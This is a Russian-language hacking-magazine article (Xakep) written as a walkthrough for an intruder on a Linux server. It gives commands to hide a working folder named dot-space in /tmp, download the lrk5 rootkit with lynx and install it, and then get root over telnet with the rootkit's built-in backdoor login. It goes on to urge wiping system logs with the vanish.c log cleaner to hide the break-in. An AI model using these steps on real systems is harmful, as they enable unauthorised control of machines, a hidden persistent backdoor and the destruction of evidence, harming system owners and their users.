ВЗЛОМ LINUX

Xakep, номер #017, стр. 017-056-3

Итак, чтобы ввести админа в заблуждение, сначала тебе надо создать папку, в которой у тебя будет происходить СБОРКА руткита. Естественно, было бы глупостью раскидывать сырцы троянов прямо в корне файловой системы, и тебе надо залезть в /tmp, где ты создашь секретную папку:

сd /tmp - мы перешли в папку /tmp. Mkdir ". " - мы создаем нашу секретную папку для исходников, которая называется точка-пробел (эту папку сложно найти, не зная как ее зовут - команда ls не показывает ее). cd ". " - мы перешли в данную папку. lynx - source http://packetstorm.securify.com/UNIX/penetration/rootkits/lrk5.src.tar.gz > r00tkit.tar.gz

tar -zxvf r00tkit.tar.gz - мы разархивировали только что скачанный руткит. cd lrk5 - мы перешли в вытащенную папку. make install - мы установили его. После отработки последней команды администратор уже не хозяин своей системы - его права перешли к тебе.

После этого ты можешь делать logout (эта команда отключит тебя от системы) и опять логиниться туда, но уже не через шумный эксплоит, а через нормальный телнет. telnet ftp.victim.dom - это выдаст приглашение к вводу логина и пароля. Введи логин rewt и пароль satori - после получения таких данных покореженный руткитом login сразу, без вопросов и записей в логи даст тебе рута. Машина твоя! Но не стоит забывать об еще одном маленьком деле, которое тебе предстоит осуществить.

Уборка территории

Твоя природная леность и неаккуратность могут привести к плачевному для тебя результату. Однако к любому делу следует подходить не как к развлечению - а как к повседневной работе. Твои основные помощники - не куча чужих руткитов и скриптов, а конкретика, концентрация, навыки, острота и быстрота ума. Ты должен знать, когда тебе нужно действовать, когда бежать, когда прятаться, а когда сдаваться или уходить. Давай смотреть на это с такой точки зрения, что ходить в грязной обуви по чистым коврам неприлично. ;)

Невозможно сказать, сколько раз хакеры забывали чистить за собой log-файлы. Можно сказать, что четверть всех хостов в Сети когда-либо были взломаны, и по сей день чей-то /var/log/messages хранит до поры до времени свидетельства вторжения с давно уже несуществующих сетей и хостов. Это грустно. Вдвойне грустно, потому как ты сам имел прекрасную возможность почистить все за собою. Зачем вообще взламывать чужую систему, если после этого в логах останутся сообщения о неавторизованном входе в систему? Поэтому давай подумаем, как мы будем убирать весь мусор, что остается за хакером.

Syslog ("большой брат" всей системы) является основным средством для ведения логов событий. Большинство системных компонентов используют вызовы к syslogd для ведения журнала событий. Syslog читает конфигурацию из файла /etc/syslog.conf для определения того, что он будет делать.

Но на любого агента у нас имеется свой хитрый Neo, который сможет порвать его на куски. Программа http://packetstorm.securify.com/UNIX/penetration/log-wipers/vanish.c как раз и занимается тем, что стирает log-файлы, которых целая куча: и WTMP, и UTMP, и lastlog, и messages, и secure, и xferlog, и maillog, и mail, и httpd.access_log и, httpd.error_log беспристрастно фиксируют любой даже самый маленький шажок по стану врага.